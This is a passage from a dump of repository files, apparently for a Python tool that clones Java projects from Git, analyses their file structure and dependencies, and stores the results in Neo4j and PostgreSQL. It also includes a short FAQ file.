pathToRawRepDataCsv):\n # array to store the returnt queries\n queries = []\n # array to store all files that were already processed\n filesAlreadyProcessed = []\n with open(pathToRawRepDataCsv, 'r', encoding=\"utf-8\") as f:\n csvreader = csv.reader(f, delimiter=';')\n # iterate through rows in csv file\n next(csvreader, None) # skip headers\n for row in csvreader:\n filename = row[0]\n # filter for files we did not process yet\n if filename not in filesAlreadyProcessed:\n # filter for .java files\n if filename.__contains__('.java'):\n # find latest update of file in csv rows\n latestRow = self.findLatestRow(pathToRawRepDataCsv, filename)\n # assign variables for each cell value\n changetype = latestRow[4]\n # filter for files that were deleted or renamed\n # files that were moved to another package do have the type RENAME\n if changetype == \"ModificationType.DELETE\" or changetype == \"ModificationType.RENAME\":\n query = \"MATCH (file:File {filename:'\" + filename + \"'}) DETACH DELETE file\"\n queries.append(query)\n return queries\n\n # ++++++++++++++ helper functions +++++++++++++++++++++++++++++++\n def findLatestRow(self, filepath, filename):\n with open(filepath, 'r', encoding=\"utf-8\") as f:\n csvreader = csv.reader(f, delimiter=';')\n # iterate through rows in csv file\n next(csvreader, None) # skip headers\n rownumber = 0\n for row in csvreader:\n # assign variables to cells in columns\n if filename == row[0]:\n rownumber = row\n return rownumber\n\n\n # +++++++++++++ static queries to create the pattern subgraphs ++++\n def create_patterns_queries (self):\n patternsqueries = []\n #Singleton Pattern\n singleton_pattern = \"CREATE (singleton:Pattern {patternname:'Singleton'})\" \\\n +\" MERGE (usingclass:Patterncomponent {componentname:'usingClass'})\" \\\n + \" MERGE (singletonclass:Patterncomponent {componentname:'SingletonClass'})\" \\\n + \" CREATE (singleton)-[:HASCOMPONENT]->(usingclass)\" \\\n + \" CREATE (singleton)-[:HASCOMPONENT]->(singletonclass)\" \\\n + \" CREATE (usingclass)-[:USES]->(singletonclass)\"\n patternsqueries.append(singleton_pattern)\n #Strategy Pattern\n strategy_pattern = \"CREATE (strategy:Pattern {patternname:'Strategy'})\" \\\n + \" MERGE (strategyclient:Patterncomponent {componentname:'StrategyClient'})\" \\\n + \" MERGE (abstractstrategy:Patterncomponent {componentname:'AbstractStrategy'})\" \\\n + \" MERGE (concretestrategy:Patterncomponent {componentname:'ConcreteStrategy'})\" \\\n + \" CREATE (strategy)-[:HASCOMPONENT]->(strategyclient)\" \\\n + \" CREATE (strategy)-[:HASCOMPONENT]->(concretestrategy)\" \\\n + \" CREATE (strategy)-[:HASCOMPONENT]->(abstractstrategy)\" \\\n + \" CREATE (concretestrategy)-[:EXTENDS]->(abstractstrategy)\" \\\n + \" CREATE (strategyclient)-[:USES]->(abstractstrategy)\"\n patternsqueries.append(strategy_pattern)\n\n #Command Pattern\n command_pattern = \"CREATE (command:Pattern {patternname:'Command'})\" \\\n + \" MERGE (commandcaller:Patterncomponent {componentname:'CommandCaller'})\" \\\n + \" MERGE (commandclient:Patterncomponent {componentname:'CommandClient'})\" \\\n + \" MERGE (abstractcommand:Patterncomponent {componentname:'AbstractCommand'})\" \\\n + \" MERGE (concretecommand:Patterncomponent {componentname:'ConcreteCommand'})\" \\\n + \" MERGE (commandreceiver:Patterncomponent {componentname:'CommandReceiver'})\" \\\n + \" CREATE (command)-[:HASCOMPONENT]->(commandclient)\" \\\n + \" CREATE (command)-[:HASCOMPONENT]->(commandcaller)\" \\\n + \" CREATE (command)-[:HASCOMPONENT]->(abstractcommand)\" \\\n + \" CREATE (command)-[:HASCOMPONENT]->(concretecommand)\" \\\n + \" CREATE (command)-[:HASCOMPONENT]->(commandreceiver)\" \\\n + \" CREATE (concretecommand)-[:EXTENDS]->(abstractcommand)\" \\\n + \" CREATE (commandclient)-[:USES]->(concretecommand)\" \\\n + \" CREATE (concretecommand)-[:USES]->(commandreceiver)\" \\\n + \" CREATE (commandclient)-[:USES]->(commandreceiver)\" \\\n + \" CREATE (commandcaller)-[:USES]->(abstractcommand)\"\n patternsqueries.append(command_pattern)\n\n #Observer Pattern\n observer_pattern = \"CREATE (observer:Pattern {patternname:'Observer'})\" \\\n + \" MERGE (publisher:Patterncomponent {componentname:'Publisher'})\" \\\n + \" MERGE (concretepublisher:Patterncomponent {componentname:'ConcretePublisher'})\" \\\n + \" MERGE (subscriber:Patterncomponent {componentname:'Subscriber'})\" \\\n + \" MERGE (concretesubscriber:Patterncomponent {componentname:'ConcreteSubscriber'})\" \\\n + \" CREATE (observer)-[:HASCOMPONENT]->(publisher)\" \\\n + \" CREATE (observer)-[:HASCOMPONENT]->(concretepublisher)\" \\\n + \" CREATE (observer)-[:HASCOMPONENT]->(subscriber)\" \\\n + \" CREATE (observer)-[:HASCOMPONENT]->(concretesubscriber)\" \\\n + \" CREATE (concretepublisher)-[:IMPLEMENTS]->(publisher)\" \\\n + \" CREATE (concretesubscriber)-[:IMPLEMENTS]->(subscriber)\" \\\n + \" CREATE (publisher)-[:USES]->(subscriber)\" \\\n + \" CREATE (concretesubscriber)-[:USES]->(concretepublisher)\"\n patternsqueries.append(observer_pattern)\n\n #Proxy Pattern\n proxy_pattern = \"CREATE (proxy:Pattern {patternname:'Proxy'})\" \\\n + \" MERGE (client:Patterncomponent {componentname:'Client'})\" \\\n + \" MERGE (proxy_class:Patterncomponent {componentname: 'Proxy Class'})\" \\\n + \" MERGE (realsubject:Patterncomponent {componentname: 'RealSubject'})\" \\\n + \" MERGE (subject:Patterncomponent {componentname:'Subject'})\" \\\n + \" CREATE (proxy)-[:HASCOMPONENT]->(client)\" \\\n + \" CREATE (proxy)-[:HASCOMPONENT]->(proxy_class)\" \\\n + \" CREATE (proxy)-[:HASCOMPONENT]->(realsubject)\" \\\n + \" CREATE (proxy)-[:HASCOMPONENT]->(subject)\" \\\n + \" CREATE (realsubject)-[:IMPLEMENTS]->(subject)\" \\\n + \" CREATE (proxy_class)-[:IMPLEMENTS]->(subject)\" \\\n + \" CREATE (client)-[:USES]->(proxy_class)\" \\\n + \" CREATE (client)-[:USES]->(subject)\" \\\n + \" CREATE (proxy_class)-[:USES]->(realsubject)\"\n patternsqueries.append(proxy_pattern)\n\n #Round Tripping Persistent Object Pattern\n round_tripping_pattern = \"CREATE (roundtrippingpersistentobject:Pattern {patternname:'Round Tripping Persistent Object'})\" \\\n + \" MERGE (testclass:Patterncomponent {componentname:'TestClass'})\" \\\n + \" MERGE (dao:Patterncomponent {componentname:'DAO'})\" \\\n + \" MERGE (compareclass:Patterncomponent {componentname:'CompareClass'})\" \\\n + \" CREATE (roundtrippingpersistentobject)-[:HASCOMPONENT]->(testclass)\" \\\n + \" CREATE (roundtrippingpersistentobject)-[:HASCOMPONENT]->(dao)\" \\\n + \" CREATE (roundtrippingpersistentobject)-[:HASCOMPONENT]->(compareclass)\" \\\n + \" CREATE (testclass)-[:USES]->(dao)\" \\\n + \" CREATE (testclass)-[:USES]->(compareclass)\"\n patternsqueries.append(round_tripping_pattern)\n\n\n return patternsqueries\n\n" }, { "alpha_fraction": 0.6896997094154358, "alphanum_fraction": 0.6903454661369324, "avg_line_length": 45.90909194946289, "blob_id": "cfb6f69673e22e6f3dd4ba98322f78dc51842a6c", "content_id": "4d98934035735cfd16970103f6136a1ae02dac9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6194, "license_type": "no_license", "max_line_length": 122, "num_lines": 132, "path": "/control/executeProjectCreationControl.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "import os\nimport shutil\nimport stat\nfrom subprocess import call\nfrom git import Repo\n\nfrom DependencyAnalysis import DependencyAnalysis\nfrom GetRepositoryData import GetRepositoryData\nfrom ManagePersistence import ManagePersistence\nfrom service.util.util import Util\n\nclass ExecuteProjectCreationControl:\n link_to_home_directory = \"1\"\n\n def __init__(self, projectdatabase_url, projectdatabase_username, projectdatabase_password):\n # set class variables\n self.util = Util()\n self.managePersistence = ManagePersistence()\n self.dependencyAnalysis = DependencyAnalysis()\n\n # get environment\n self.link_to_home_directory = self.util.getDependencyAnalysisLink()\n\n # set paths to local project data\n self.class_csv = self.link_to_home_directory + '/result/rawrepdatacsv.csv'\n self.dependency_csv = self.link_to_home_directory + '/result/dependencymatrix.csv'\n\n # init project database connection\n self.managePersistence.init_connection(projectdatabase_url, projectdatabase_username, projectdatabase_password)\n\n # clones repo from Github\n def getSourceCode (self, projectGitURL):\n # prepare working directory for cloning a git project into it\n self.cleanUpFolder(self.link_to_home_directory)\n # clone repository from git\n # save repo temporarily in home directory\n Repo.clone_from(projectGitURL, self.link_to_home_directory)\n # check if compiled files exist in clones git repository (otherwise the dependency analysis does not work)\n if (self.compiledFilesExist(self.link_to_home_directory)) is not True:\n raise Exception ('No compiled files found! Please provide a project with compiled java code.')\n\n # extract project data from cloned repo into csv file \"rawrepdatacsv.csv\"\n def extractProjectData(self, path):\n os.makedirs(self.link_to_home_directory + \"/result\")\n # with open(self.link_to_home_directory + \"/result/rawrepdatacsv.csv\", 'w', \"utf-8\"):\n # pass\n getRepositoryData = GetRepositoryData()\n getRepositoryData.getRepInfo(self.link_to_home_directory + \"/result/rawrepdatacsv.csv\", path)\n\n # persists package file structure (idempotent)\n # persists the dependencies between the file nodes\n def persistProjectData (self):\n # persist project files in project database\n self.managePersistence.persistPackageFileStructure(self.link_to_home_directory + '/result/rawrepdatacsv.csv')\n # persist class dependencies in project database\n self.managePersistence.process_dependency_persisting(self.link_to_home_directory + '/result/dependencymatrix.csv')\n\n # 1. deletes all files that were either deleted from github project or renamed (moved)\n # 2. creates package/file structure for files that were added or renamed\n # this way, the moved files are created at another place in the graph\n # finally, the packages that no longer have any files are deleted\n def updateProjectFiles(self):\n # check if file already exists and if not, persist it\n # delete all files from graph structure that were either deleted from git project or renamed (they may be moved)\n self.managePersistence.handleDeletedOrMovedFiles(self.link_to_home_directory + '/result/rawrepdatacsv.csv')\n # create all package/file structure that is not there yet\n self.managePersistence.persistPackageFileStructure(self.link_to_home_directory + '/result/rawrepdatacsv.csv')\n self.managePersistence.deleteLonelyPackages()\n\n # deletes packages, that have no longer any files in them\n # github deletes those automatically, so this is necessary\n # to keep graph and github project similar\n def deleteLonelyPackages(self):\n self.managePersistence.deleteLonelyPackages()\n\n # checks for each dependency if it exists already in the graph, if not, it add the relation\n def updateProjectDependencies(self):\n # check if relation already exists and if not, persist it\n self.managePersistence.checkRelationExists(self.dependency_csv)\n\n # persists the pattern in the graph\n def persistPatternData (self):\n self.managePersistence.process_patterns_persisting()\n\n # analyses the project and writes the dependencies to the \"dependencymatrix.csv\"\n def analyseDependencies(self):\n self.dependencyAnalysis.analyseDependencies()\n self.dependencyAnalysis.formatDependenciesClean()\n\n # checks if the compiled files (.class files) are in the cloned repo\n # if they are not, the dependency analysis can not be executed\n def compiledFilesExist(self, link):\n for root, dirs, files in os.walk(link):\n for name in files:\n if \".class\" in name:\n print(name)\n return True\n return False\n\n # cleans up the folder with the cloned project, csv files and so on from disk\n # executed before the whole process is started\n def cleanUpFolder (self, link):\n linkgit = link + ('/.git')\n linkgitobjpack = link + ('/.git/objects')\n\n #Cleanup of the Workdirectory\n if os.path.isdir(linkgit):\n call(['attrib', '-H', linkgit])\n for root, dirs, files in os.walk(linkgitobjpack):\n for f in files:\n os.chmod(root +\"/\" + f,stat.S_IWRITE)\n os.unlink(root +\"/\"+ f)\n os.chmod(linkgitobjpack,stat.S_IWRITE)\n shutil.rmtree(linkgitobjpack)\n shutil.rmtree(linkgit)\n for entry in os.scandir(link):\n if entry.is_file():\n os.unlink(entry)\n else:\n shutil.rmtree(entry)\n elif (os.path.isdir(link+'/result')):\n shutil.rmtree(link+'/result')\n\n # deletes folder from disk completely after process\n def deleteLocalProjectFolder(self):\n if(os.path.exists(self.link_to_home_directory)):\n shutil.rmtree(self.link_to_home_directory)\n\n # deletes all data from the project database\n def deleteDataFromProjectDatabase(self):\n # clean up database\n self.managePersistence.deleteProject()\n\n\n" }, { "alpha_fraction": 0.5835942625999451, "alphanum_fraction": 0.5860989093780518, "avg_line_length": 35.29545593261719, "blob_id": "2511fa127ac551c3c95a5306d4fcab4dd567fa2a", "content_id": "4bcd559f885c15208fe86ac5108da5847bdf6824", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1597, "license_type": "no_license", "max_line_length": 119, "num_lines": 44, "path": "/control/service/globalDatabaseAccess.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "import psycopg2\nimport configparser\n\nclass GlobalDatabaseAccess:\n def __init__(self):\n try:\n # get environment\n config = configparser.ConfigParser()\n config.read('postgreSQLconfig.ini')\n\n user = config['REMOTE']['USER']\n password = config['REMOTE']['PASSWORD']\n host = config['REMOTE']['HOST']\n port = config['REMOTE']['PORT']\n database = config['REMOTE']['DATABASE']\n\n # connect to to postgreSQL\n self.connection = psycopg2.connect(user=user, password=password, host=host, port=port, database=database)\n self.cursor = self.connection.cursor()\n\n # Print PostgreSQL Connection properties\n print(self.connection.get_dsn_parameters(),\"\\n\")\n\n # Print PostgreSQL version\n self.cursor.execute(\"SELECT version();\")\n record = self.cursor.fetchone()\n print(\"You are connected to - \", record,\"\\n\")\n except (Exception, psycopg2.Error) as error :\n print(\"Error while connecting to PostgreSQL\", error)\n\n def executeQuery(self, query):\n self.cursor.execute(query)\n record = self.cursor.fetchone()\n if record != None:\n return record[0]\n else:\n raise Exception(\"Error while fetching data from PostgreSQL: No project with this id\")\n\n def close(self):\n # closing database connection.\n if (self.connection):\n self.cursor.close()\n self.connection.close()\n print(\"\\n PostgreSQL connection closed\")\n" }, { "alpha_fraction": 0.5663326382637024, "alphanum_fraction": 0.5671342611312866, "avg_line_length": 49.93877410888672, "blob_id": "b9c47b1373a48240370f0b31f843782451395e74", "content_id": "924b838c317fd129f5245f77278a2139702ad290", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2495, "license_type": "no_license", "max_line_length": 119, "num_lines": 49, "path": "/control/DependencyAnalysis.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from xml.etree import ElementTree\nimport csv\nimport subprocess\n\nfrom service.util.util import Util\n\nclass DependencyAnalysis:\n def analyseDependencies (self):\n #Call of the Dependency Analysis Function via JAR subprocess\n subprocess.call(['java', '-jar', 'DependencyAnalysis.jar'])\n\n def formatDependenciesClean (self):\n util = Util()\n #Open result csv file\n with open(util.getDependencyAnalysisLink() + '/result/dependencymatrix.csv', 'w', encoding=\"utf-8\") as csvfile:\n writer = csv.writer(csvfile, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n #parsing of the DAAccess result file\n tree = ElementTree.parse(util.getDependencyAnalysisLink() + '/result/result.odem')\n tree.getroot()\n #select relevant results and write into result csv file\n for child in tree.iter('type'):\n for subchild in child.iter('depends-on'):\n if (\"java.\" not in subchild.attrib.get('name')):\n childattrib = child.attrib.get('name')\n childattrib = childattrib.split('.').pop()\n childattrib = childattrib + \".java\"\n csvfile.write(childattrib + \";\")\n subchildattrib = subchild.attrib.get('name')\n subchildattrib = subchildattrib.split('.').pop()\n subchildattrib = subchildattrib + \".java\"\n csvfile.write(subchildattrib + \";\")\n csvfile.write(subchild.attrib.get('classification') )\n csvfile.write(\"\\n\")\n\n\n\n def formatDependencies (self):\n util = Util()\n with open(util.getDependencyAnalysisLink() + '/result/dependencymatrix.csv', 'w', encoding=\"utf-8\") as csvfile:\n writer = csv.writer(csvfile, delimiter=' ', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n tree = ElementTree.parse(util.getDependencyAnalysisLink() + \"/result/result.odem\")\n tree.getroot()\n for child in tree.iter('type'):\n for subchild in child.iter('depends-on'):\n if (\"java.\" not in subchild.attrib.get('name')):\n csvfile.write(\"\"+child.attrib.get('name') + \";\")\n csvfile.write(subchild.attrib.get('name') + \";\")\n csvfile.write(subchild.attrib.get('classification') )\n csvfile.write(\"\\n\")" }, { "alpha_fraction": 0.7439403533935547, "alphanum_fraction": 0.7551274299621582, "avg_line_length": 49.3125, "blob_id": "6d82c60799c6ae6015066b4bb81be86933f2703b", "content_id": "7166f17cf52d66deee8cce3ff0fd92eefdfb2c35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1609, "license_type": "no_license", "max_line_length": 127, "num_lines": 32, "path": "/FAQ.md", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "# FAQ \n\n## Error Messages \n\n### Build \n#### Installing site package psycopg2: \n* error \"pg_config executable not found\", see here: https://stackoverflow.com/questions/11618898/pg-config-executable-not-found\n* ubuntu: `sudo apt-get install libpq-dev`\n\n### Execution: Create/ update project \n#### Generic errors \n* check if `curl localhost:5000/request/0` works, if not restart and do not delete this sample request\n\n#### Issues with global database (postgres)\n* check if the project you want to create exists in the global database and has the same project_id\n* check if all attributes (projectdatabase_url, projectdatabase_user,...) have a value for this project_id\n* check if global database can be reached (from your network, e.g. check vpn connection)\n* check if you put the right credentials in your postgreSQLconfig.ini file \n\n#### Issues with the project database (neo4j)\n* check if project database can be reached (from your network, e.g. check vpn connection)\n* if you are using neo4j version 4.0 or higher, change \n`self._driver = GraphDatabase.driver(uri, auth=(user, password))`\nin class DatabaseAccess.py to \n`self._driver = GraphDatabase.driver(uri, auth=(user,password), encrypted=false)`\n\n#### Error message in terminal: cannot find dependencyAnalysis.jar\n* did you add the DependencyAnalysis.jar to your control package? if not, request it from admin and do \n* make sure you are executing from a path where the .jar-file is visible, e.g. from `getrepository/control`\n\n## Usage for others than HBRS-students \n* if you are not a HBRS-student but are interested in IASA contact me under [email protected]" }, { "alpha_fraction": 0.6875900030136108, "alphanum_fraction": 0.6896055340766907, "avg_line_length": 52.38461685180664, "blob_id": "fa6e6d0caadf7d4e134c6b9ff5f66c6f9fdf9603", "content_id": "eeaaedce71266ab208a3825eba183a766246a4ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3473, "license_type": "no_license", "max_line_length": 136, "num_lines": 65, "path": "/control/updateProjectControl.py", "repo_name": "fraewn/IASA-getProjectData", "src_encoding": "UTF-8", "text": "from service.globalDatabaseAccess import GlobalDatabaseAccess\nfrom executeProjectCreationControl import ExecuteProjectCreationControl\n\nclass UpdateProjectControl:\n def __init__(self, project_id):\n self.project_id = project_id\n self.globalDatabaseAccess = GlobalDatabaseAccess()\n\n def updateProject(self):\n try:\n # get project database environment\n projectDatabaseURL = self.getProjectDatabaseURL()\n projectDatabaseUsername = self.getProjectDatabaseUsername()\n projectDatabasePassword = self.getProjectDatabasePassword()\n\n # get project git environment\n projectGitURL = self.getProjectGitURL()\n print(\"Step 1: connected to global database to get credentials and link to git repository\")\n\n # manage all operations to create project in one object\n executeProjectCreation = ExecuteProjectCreationControl(projectDatabaseURL, projectDatabaseUsername, projectDatabasePassword)\n\n # +++++++++++ download and analyse Github project +++++++++++++++\n # download source and save locally\n executeProjectCreation.getSourceCode(projectGitURL)\n print(\"Step 2: cloned git repository to temporary local folder\")\n # extract project data from cloned repo into csv file \"rawrepdatacsv.csv\"\n # check if .class files are there (necessary for dependency analysis)\n executeProjectCreation.extractProjectData(projectGitURL)\n print(\"Step 3: extracted project data from cloned repo into csv file 'rawrepdatacsv.csv'\")\n # extract dependency data from cloned repo into csv file \"dependencymatrix.csv\"\n executeProjectCreation.analyseDependencies()\n print(\"Step 4: extracted dependencies from cloned repo into csv file 'dependencymatrix.csv'\")\n\n # +++++++++++ update data in project database +++++++++++++++\n # persist projectdata in projectdatabase\n executeProjectCreation.updateProjectFiles()\n print(\"Step 5: updated file data in project database\")\n # persist new dependencies\n executeProjectCreation.updateProjectDependencies()\n print(\"Step 6: updated dependencies in project database\")\n # clean up local project data\n executeProjectCreation.deleteLocalProjectFolder()\n print(\"Step 7: cleaned up temporary local project data\")\n except(Exception) as error:\n print(error)\n finally:\n # close global database connection\n self.globalDatabaseAccess.close()\n\n def getProjectGitURL(self):\n query = \"SELECT PROJECT_GITURL FROM PROJECT WHERE PROJECT_ID = {}\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabaseURL(self):\n query = \"SELECT PROJECTDATABASE_URL FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabaseUsername(self):\n query = \"SELECT PROJECTDATABASE_USER FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n def getProjectDatabasePassword(self):\n query = \"SELECT PROJECTDATABASE_PASSWORD FROM PROJECTDATABASE WHERE PROJECT_ID = {};\".format(self.project_id)\n return self.globalDatabaseAccess.executeQuery(query)\n\n\n\n" } ]
13
Niramay33/DataStructure-Python
https://github.com/Niramay33/DataStructure-Python
166dff0b38c06a5224fa2b0211b7a351ff36667f
81ff897511fb8ac2680e2659358d17f7d9537cfc
9bd44c3582faf22eba8612fa975cd89a3def944d
refs/heads/main
2023-06-26T23:29:10.928452
2023-06-15T21:26:39
2023-06-15T21:26:39
322,564,769
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6296765804290771, "alphanum_fraction": 0.6429930329322815, "avg_line_length": 19.480520248413086, "blob_id": "ed75a93afd20a573ad1bfa7f2eb8f49707f8337b", "content_id": "27493b0e41064dcf5aa95eb1a179c29cce416e40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1577, "license_type": "no_license", "max_line_length": 79, "num_lines": 77, "path": "/Linked_list/reversed_linked_list.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class Node:\n\tdef __init__(self, data=None, next=None) -> None:\n\t\tself.data = data\n\t\tself.next = next\n\n\nclass LinkedList:\n\tdef __init__(self) -> None:\n\t\tself.head = None\n\n\tdef insert_at_beginning(self, data):\n\t\t\"\"\"Insert at first element\"\"\"\n\n\t\tnode = Node(data, self.head)\n\t\tself.head = node\n\n\tdef insert_at_end(self, data):\n\t\t\"\"\"Insert at last element\"\"\"\n\n\t\tif self.head is None:\n\t\t\tself.head = Node(data, None)\n\t\t\treturn\n\t\titr = self.head\n\t\twhile itr.next:\n\t\t\titr = itr.next\n\t\titr.next = Node(data, None)\n\n\tdef insert_values(self, data_list):\n\t\t\"\"\"It takes input of list and insert one by one element in new linked list\"\"\"\n\n\t\tself.head = None\n\t\tfor data in data_list:\n\t\t\tself.insert_at_end(data)\n\n\tdef print_list(self):\n\t\t\"\"\"Print the elements of list\"\"\"\n\n\t\tif self.head is None:\n\t\t\tprint(\"List is empty: \")\n\t\t\treturn\n\t\titr = self.head\n\t\twhile itr:\n\t\t\tprint(str(itr.data) + ' --> ', end='')\n\t\t\titr = itr.next\n\t\tprint()\n\n\tdef reverse_linked_list(self):\n\t\t\"\"\"Will reverse the linked list\"\"\"\n\n\t\titr = self.head\n\t\tll_list = []\n\t\treversed_ll_list = []\n\t\twhile itr:\n\t\t\tll_list.append(str(itr.data))\n\t\t\titr = itr.next\n\t\tfor i in range(len(ll_list)-1, -1, -1):\n\t\t\treversed_ll_list.append(ll_list[i])\n\t\tself.insert_values(reversed_ll_list)\n\n\nif __name__ == \"__main__\":\n\tll = LinkedList()\n\n\tll.insert_at_beginning(10)\n\tll.insert_at_end(20)\n\tll.insert_at_beginning(30)\n\tll.insert_at_beginning(40)\n\tll.insert_at_beginning(50)\n\tll.insert_at_beginning(60)\n\tll.insert_at_beginning(70)\n\tll.insert_at_end(80)\n\tll.insert_at_end(90)\n\n\tll.print_list()\n\n\tll.reverse_linked_list()\n\tll.print_list()\n" }, { "alpha_fraction": 0.5533707737922668, "alphanum_fraction": 0.5711610317230225, "avg_line_length": 26.384614944458008, "blob_id": "ee8896ed7fd31e152e8d107e0419634b9c75d58d", "content_id": "fda2dbbfa448d82b946af8839e156f4fa53f3b93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 78, "num_lines": 39, "path": "/sorting_algo/quick_sort/hoare.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "def swap_ele(a, b, arr):\n if a != b:\n arr[a], arr[b] = arr[b], arr[a]\n\n\ndef partition(elements, start, end):\n pivot = start \n end = len(elements) - 1\n start = pivot + 1\n\n while start < end:\n\n while start < len(elements) and elements[start] <= elements[pivot]:\n start += 1 \n\n while elements[end] > elements[pivot]:\n end -= 1\n\n if start < end:\n # elements[start], elements[end] = elements[end], elements[start]\n swap_ele(start, end, elements)\n \n # elements[end], elements[pivot] = elements[pivot], elements[end]\n swap_ele(end, pivot, elements)\n\n return end\n\n\ndef quick_sort(elements, start, end):\n if start < end:\n partition_idx = partition(elements, start, end)\n quick_sort(elements, start, partition_idx - 1) # For left partition\n quick_sort(elements, partition_idx + 1, end) # For Right partition\n \n\nif __name__ == \"__main__\":\n elements = [11, 9, 29, 7, 2, 15, 28]\n quick_sort(elements, 0, len(elements) - 1)\n print(elements)\n" }, { "alpha_fraction": 0.46791133284568787, "alphanum_fraction": 0.4970828592777252, "avg_line_length": 16.85416603088379, "blob_id": "29c54f1a171ae92d2e8d476220b1496c03a2fab2", "content_id": "bb75d084e6eb9c2036a2c635c4f2339102cd4922", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 857, "license_type": "no_license", "max_line_length": 49, "num_lines": 48, "path": "/sorting_algo/binary_search{Recursion}.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "# Noramal Binary search\ndef binary_search(arr, i):\n left = 0\n right = len(arr) - 1\n mid = (left+right)//2\n\n while left <= right:\n if i == arr[mid]:\n return True\n\n if i < arr[mid]:\n right = mid - 1\n\n if i > arr[mid]:\n left = mid + 1\n\n mid = (left + right)//2\n\n return False\n\n# Binary search using recursion\ndef binary_search_rec(arr, i, left, right):\n if right < left:\n return -1\n \n mid = (left + right) // 2\n\n if i == arr[mid]:\n return True\n\n if i > arr[mid]:\n left = mid + 1\n \n elif i < arr[mid]:\n right = mid - 1\n \n return binary_search_rec(arr, i, left, right)\n \n\narr = [1, 10, 34, 35, 76, 87, 99]\ni = 1\n \nstart = 0\nend = len(arr)\n\n# print(binary_search(arr, i))\nx = (binary_search_rec(arr, i, start, end))\nprint(x)\n" }, { "alpha_fraction": 0.5396174788475037, "alphanum_fraction": 0.5464481115341187, "avg_line_length": 25.45783042907715, "blob_id": "6c46334d168bd0a4d2d3d34dd980bb32b30b37f8", "content_id": "4da5d3e3ddfa145ee65b5cffd98b21afa41e099a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2196, "license_type": "no_license", "max_line_length": 55, "num_lines": 83, "path": "/Tree/BinaryTreeTraversal(in pre, post-order).py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "class BinarySearchTreeNode:\n def __init__(self, data) -> None:\n self.data = data\n self.left = None\n self.right = None\n\n def add_child(self, data):\n if data == self.data:\n return\n \n if data < self.data:\n if self.left == None:\n self.left = BinarySearchTreeNode(data)\n return \n self.left.add_child(data)\n \n if data > self.data:\n if self.right == None:\n self.right = BinarySearchTreeNode(data)\n return\n self.right.add_child(data)\n\n def InOrderTraversal(self):\n elements = []\n \n # Adding left node\n if self.left:\n elements += self.left.InOrderTraversal()\n\n # Adding root node (of main or sub tree)\n elements.append(self.data)\n \n #Adding right node\n if self.right:\n elements += self.right.InOrderTraversal()\n \n return elements\n\n def PreOrderTraversal(self):\n elements = []\n\n # Adding root node (of main or sub tree)\n elements.append(self.data)\n\n # Adding left node\n if self.left:\n elements += self.left.PreOrderTraversal()\n\n # Adding right node\n if self.right:\n elements += self.right.PreOrderTraversal()\n \n return elements\n \n def PostOrderTraversal(self):\n elements = []\n\n #Adding left node\n if self.left:\n elements += self.left.PostOrderTraversal()\n \n # Adding right node\n if self.right:\n elements += self.right.PostOrderTraversal()\n \n # Adding root node (of main or sub tree)\n elements.append(self.data)\n \n return elements\n\ndef buildTree(elements):\n root = BinarySearchTreeNode(elements[0])\n for i in range(1, len(elements)):\n root.add_child(elements[i])\n return root\n\nif __name__ == '__main__':\n numbers = [17, 4, 1, 20, 9, 23, 18, 34]\n numbers_tree = buildTree(numbers)\n \n print(numbers_tree.PreOrderTraversal())\n print(numbers_tree.InOrderTraversal())\n print(numbers_tree.PostOrderTraversal())\n" }, { "alpha_fraction": 0.3805970251560211, "alphanum_fraction": 0.4029850661754608, "avg_line_length": 22.647058486938477, "blob_id": "03fe1033187b3ebe2d5335d217c6faa870d74219", "content_id": "d4eb6b7d094149057bae994408b8c02206d1ff17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 402, "license_type": "no_license", "max_line_length": 63, "num_lines": 17, "path": "/Algorithms/dutch_nation_flag.py", "repo_name": "Niramay33/DataStructure-Python", "src_encoding": "UTF-8", "text": "def dnf(nums, n):\n s_ptr = 0\n m_ptr = 0\n e_ptr = n - 1\n\n while m_ptr <= e_ptr:\n if nums[m_ptr] == 0:\n nums[s_ptr], nums[m_ptr] = nums[m_ptr], nums[s_ptr]\n s_ptr += 1\n m_ptr += 1\n elif nums[m_ptr] == 2:\n nums[e_ptr], nums[m_ptr] = nums[m_ptr], nums[e_ptr]\n e_ptr -= 1\n else:\n m_ptr += 1\n\n return nums\n" }, { "alpha_fraction": 0.4505956470966339, "alphanum_fraction": 0.4765241742134094, "avg_line_length": 30.711111068725586, "blob_id": "b59f7ceb7f6369216cd12259101972a6e3466c1e", "content_id": "497601dab64ae576c95ab8a8a6598d52eefbf607", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1427, "license_type": "no_license", "max_line_length": 82, "num_lines": 45, "path": "/sorting_algo/bubble_sort.py", 